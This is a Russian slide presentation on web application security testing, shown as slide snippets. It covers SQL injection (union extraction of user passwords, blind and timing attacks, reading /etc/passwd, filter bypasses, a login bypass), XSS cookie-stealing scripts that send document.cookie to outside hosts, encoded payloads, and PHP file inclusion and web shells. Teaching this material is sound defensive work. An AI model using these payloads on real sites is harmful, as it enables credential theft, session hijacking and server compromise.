Содержание
- 2. Зачем нужно тестировать защищенность 90% сайтов опасны для пользователей и представляют угрозу бизнесу. 43% сайтов не
- 3. SQL Injection Внедрение SQL-кода — один из распространённых способов взлома сайтов и программ, работающих с базами
- 5. Что может получить злоумышленник
- 7. Архитектура уязвимости типа SQL Injection
- 8. Простейший способ обнаружить уязвимость Добавляем одинарную кавычку к запросу: http://www.site.com/?id=1‘ Получаем ошибку типа: Warning: mysql_fetch_object(): supplied
- 9. Почему так происходит? query = "SELECT * FROM news WHERE id = '" + id +
- 10. Какие еще есть способы проверки? Использование простых арифметических операций в запросе: site.com/index.php?id=2-1(Выводит страницу 1) site.com/index.php?id=1*2(Выводит страницу
- 11. Как этим пользоваться? /?id=1' UNION SELECT user,password FROM users-- SELECT title,text FROM news WHERE id =
- 12. Blind SQL injection Тестирование истинных и ложных запросов: site.com/index.php?id=2’ AND ‘1’ = ‘1’-- site.com/index.php?id=2’ AND ‘1’=‘2’--
- 13. Double-blind injection Посимвольный перебор с помощью Benchmark: site.com/index.php?id=2’ OR id= IF(ASCII(SUBSTRING((SELECT USER()), 1, 1)))>=100, 1, BENCHMARK(2999999,MD5(NOW())))
- 14. На что еще обращать внимание? URL: http://www.google.com/search?q=inurl:select+inurl:%2520+inurl:from+inurl:where
- 15. Практика, или SQL Injection глазами злоумышленника Определение типа базы данных Проверка прав пользователя на запись файлов
- 16. Ошибки характерные для разных видов баз данных
- 17. Подбор количества столбцов 1. Простой перебор допустим у нас есть сайт с инъекцией: www.site.com/index.php?id=1‘ Выполняем такой
- 18. 2. Оператор ORDER BY www.site.com/index.php?id=-1+order+by+1-- ошибки нет, значит столбцов 1 или больше 1 www.site.com/index.php?id=-1+order+by+9999-- должна появится
- 19. Определение вывода Предположим мы подобрали количество столбцов и их оказалось 4 www.site.com/index.php?id=-1+union+select+null,null,null,null Теперь нас интересует в
- 20. Получаем информацию о версии и пользователе Для получения информации о текущем пользователе используется функция user() www.site.com/index.php?id=-1+union+select+null,user(),null,null--
- 21. Чтение и запись файлов Проверка возможности чтения/записи файлов: www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+file_priv+from+mysql.user+where+user= ‘%USERNAME%'-- Чтение файла www.site.com/index.php?id=-1+union+select+null,file_priv,null,null+union+select+ union+select+LOAD_FILE('/etc/passwd')+from+mysql.user--
- 22. Узнаем таблицы Для получения информации о таблицах и колонках необходимо обратиться к служебной таблице Information_schema www.site.com/index.php?id=-1+union+select+null,TABLE_NAME,null,null+from+INFO
- 23. Получаем информацию о колонках Перебрав таблицы, определяем ту которая нам будет интересна. Пусть это будет USER,
- 24. Фильтрация кавычек Чаще всего, проделав действия описанные на предыдущем слайде, вы увидите ошибку: ERROR: syntax error
- 25. Фильтрация кавычек Второй способ: использование вложенного подзапроса www.site.com/index.php?id=-1+union+select+null,COLUMN_NAME,null,null+from+INF ORMATION_SCHEMA.COLUMNS+where+TABLE_NAME=(select+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+limit+1+offset+1)--
- 26. Фильтация пробелов В случае фильтрации пробелов существуют следующий способы обхода фильтра: Использование пробельных символов «/*!*/» и
- 27. Получение информации из таблицы Составляем запрос: www.site.com/index.php?id=-1+union+select+null,username,null,null+from+user-- Он возвратит нам в данном случае имя пользователя Можно
- 28. Уязвимость в скрипте авторизации Поле ввода имени пользователя: Username’-- Поле ввода пароля: 123' OR login='Admin' –
- 29. Демонстрация примеров
- 30. Программы для работы с инъекциями SQL InjectMe – плагин для Firefox Absinthe – утилита для проведения
- 31. XSS XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости интерактивных информационных систем в вебе.
- 32. XSS
- 33. XSS Цель Выполнить «чужеродный» JavaScript-код в браузере клиента, когда он находится на атакуемом сайте Как это
- 34. Классификация XSS Активный XSS Внедренный скрипт сохраняется в системе и становится доступен для вывода другим пользователям
- 35. Чем мы рискуем? Кража Cookies var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie; Кража
- 36. Метод обнаружения /?id="> alert(1) HTML - код страницы примет вид .. alert(1) "... В результате браузер
- 37. Типичный случай Самая распространенная разновидность XSS: "> alert() Вся суть в "> После добавления к форме
- 39. Фильтры: определяем наличие и качество В любое поле вводим проверочную строку: '';!--" =&{()} Далее открываем HTML
- 40. Практика Допустим фильтр экранирует В этом случае существует вероятность обхода фильтра. К примеру, фильтр настроен на
- 41. Автозакрывающиеся скобки: >>>> бывает, что фильтр подсчитывает открывающиеся и закрывающиеся скобки и закрывает сам. Автозакрытие тегов:
- 42. Кража Cookies До этого мы рассматривали скрипты типа: alert (' Test ') javascript:alert (' Test ')/
- 43. Как воспользоваться этим скриптом? http://site.ru/free?p='> img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie;"+document.cookie; http://site.ru/free?p='> При этом файл js.js содержит: img=new Image();img.src="http://test.com/s/Hack.gif?"+document.cookie; этот
- 44. Изменение кодировки http://ha.ckers.org/xss.html Изначально скрипт выглядел так: http://cite.com/test?p='> После: %68%74%74%70%3A%2F%2F%63%69%74%65%2E%63%6F%6D%2F%74%65%73%74%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20%73%72%63%3D%68%74%74%70%3A%2F%2F%74%65%73%74%2E%6E%65%74%2F%73%63%72%69%70%74%2F%6A%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E%0A
- 45. DDoS-атака XSS-уязвимость на многопосещаемых ресурсах может быть использована для проведения DDoS-атаки. Суть проста — много запросов,
- 46. Демонстрация примеров
- 47. Инструменты для обнаружения XSS XSSme – аддон для Firfox DOMinator – анализатор наличия DOM-based XSS
- 48. PHP Injection PHP Injection или создание веб шеллов – это второй по популярности после SQL инъекции
- 49. Уязвимые функции Eval() Include() Require() Create_function() Preg_replace()
- 50. Виды инклудов Include ("$page.php"); … ?> Возможен Remote File Inclusion (RFI) Include ("files/$page.htm"); … ?> Возможен
- 51. Метод определения уязвимости index.php?page=shop Подставим dsdsds вместо shop: Warning: main(dsdsds.php): failed to open stream: No such
- 52. Веб шелл Это происходит потому, что код страницы имеет такой элемент .. Include ("$page.php"); … ?>
- 53. Выход за пределы текущего каталога Apache Tomcat 5 версии ниже 5.5.22 и Apache Tomcat 6 ниже
- 54. Инструменты для обнаружения Graudit - семантически-статический анализатор кода RIPS – утилита для поискам уязвимостей в PHP
- 55. Демонстрация примеров
- 57. Скачать презентацию





















































Введение. Урок литературы
Металлы IIА группы
ОПФ хозяйствующих субъектов
Математические иллюзии
СРАВНИТЕЛЬНЫЙ АНАЛИЗ РЕЗУЛЬТАТОВ ИСПЫТАНИЙ ПРИВОДОВ ДЛЯ ВОРОТ
Управляемый кеш компонентов
Презентация на тему Строение семени растений
Управление качеством. Петля качества и цикл
1.Закончи определение «Экономика – это … »
Профессии моих родителей
Презентация на тему Путешествие в сказку Царевна лягушка
Ритмика жизни и танец
Своя игра фин грамотность
ЛИНЕЙНЫЙ МЕНЕДЖМЕНТ И ПРОФСОЮЗЫОПЫТ КОНСАЛТИНГОВЫХ ПРОЕКТОВ
Построение стратегии внедрения e-learning в компании Зачем нужен атлас? Елена Тихомирова Генеральный директор Центр eLearning. - презентаци
Презентация на тему История возникновения этикета
Разработка программно-аппаратного модуля для реализации умного дома
ё
My future profession Floristics
Наша страна Россия
Мир Информации
Человек в движении (аппликация)
Династический кризис 1825 г.Восстание декабристов.
Шамшырақ жасау біз үшін
Город-герой
Полиэко наука. Исследования в области нефтепромысловой химии
Спортивная гимнастика
Презентация на тему О насвае